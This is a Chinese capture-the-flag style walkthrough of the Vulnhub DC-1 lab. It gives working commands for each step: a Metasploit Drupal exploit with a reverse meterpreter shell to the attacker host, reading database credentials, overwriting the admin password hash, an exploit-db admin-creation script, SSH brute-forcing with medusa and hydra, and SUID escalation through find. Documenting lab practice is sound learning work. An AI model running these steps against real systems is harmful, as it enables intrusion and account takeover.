Vulnhub DC-1
最近和朋友一起玩靶场,随意记录一下,交个作业,学习第一!
下载地址:https://www.vulnhub.com/entry/dc-1,292/
NAT连接,确保kali和虚拟机在同一网段
kali:192.168.152.130
思路:扫端口(看看是否有web或者敏感端口)----->扫路径----->信息收集----->确认框架----->是否有可直接利用漏洞----->拿下shell----->判断是否能提权
扫描存活主机
arp-scan -l
masscan -p 80,22 192.168.152.0/24
nmap -sP 192.168.152.0/24
得到目标机IP:192.168.152.245
扫描开放端口
nmap -sS -sV -v -p- -A 192.168.152.245
得到目标机开放端口:22,80,111
访问80端口看下网站信息
得到信息:
CMS--------->Drupal
脚本---------->PHP5.4.45
操作系统---->Linux
爆破目录
dirb http://192.168.152.245
看下网站robots.txt
可以挨个挨个看下文件,看看是否有有用的信息收集
CMS版本
确定版本后,可以搜索下公用漏洞,存在很多漏洞,拿一两个来说明
CVE-2014-3704 SQL注入
利用MSF寻找EXPget shell
search drupal
找到exp利用
use 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.152.130
set lport 4444
set rhosts 192.168.152.245
进入终端后,进入/var/www下拿下第一个flag
拿下一台机器后,信息收集是很重要的
比如看下网络信息
看下开放了哪些端口
看一下网站的配置信息
看下etc/passwd 用户 看看能不能爆破ssh等等
下一步就是搞数据库
根据提示拿下第二个flag
查看配置文件,找到数据库账号密码,但是只能本地登录
cat /var/www/sites/default/settings.php
在meterpreter shell状态下,反弹一个完整的交互式终端
python -c 'import pty;pty.spawn("/bin/bash")'
登录数据库
mysql -u dbuser -p R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
太乱了,可以调整下,看我们想看的,*代表全部
select name,pass from users;
密码可以拿去碰撞,但是这里有更好的方法
第一种方法:利用drupal内自带的脚本文件,功能是可以输出加密过后的密码字符串
cd /var/www
php scripts/password-hash.sh admin //admin就是你设置的新密码
再进入数据库,通过update写入,这里后面加where不加where都是可以的,无非就是改全部和指定。如果需要改admin可以 where name = admin;
update users set pass="$S$D.eBxbgR8VADY2kmzMtTavYvpYWEl/HHgMDhwY/yK6B7hHdCDl3y"
第二种方法:searchexploit drupal
cd /usr/share/exploitdb/exploits/php/webapps
python 34992.py -t "http://192.168.152.245" -u admin666 -p 123456
登录后台拿下flag3
查看etc/passwd
cat etc/passwd
尝试暴力破解flag4账户密码,利用自带的medusa+John the Ripper
medusa -M ssh -h 192.168.152.245 -u flag4 -P /usr/share/john/password.lst -e ns -F
-M: 表示你要破解的类型
-h:目标机器地址
-u:用户名
-e : 尝试空密码
-F:破解成功后立即停止破解
-v:显示破解过程
hydra也可以,调用的自带的字典是一样的,不过感觉hydra快一点
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.152.245
爆破得到密码orange
可以看到有个flag4.txt文件,真正flag在root目录下,并且需要有root权限
ls
cat flag4.txt
看下内核版本Debian 3.2.102-1(可以去exploit-db上搜索,也可以searchexploit 搜索版本号,但尝试过几个好像都行不通)
SUID提权
查看哪些有s权限
find / -type f -perm -u=s 2>/dev/null
Suid简单科普一下
作用域二进制可执行程序上,当执行这个程序时会临时切换身份为文件所有者身份。
比如用户修改密码 普通用户修改密码,背后其实调用的也是root权限。
touch test //创建文件
find / -type f -name test -exec "whoami" ;
find / -type f -name test -exec "/bin/sh" ;
提权成功
cat /root/thefinalflag.txt
原文始发于微信公众号(Nurburgring):Vulnhub DC-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论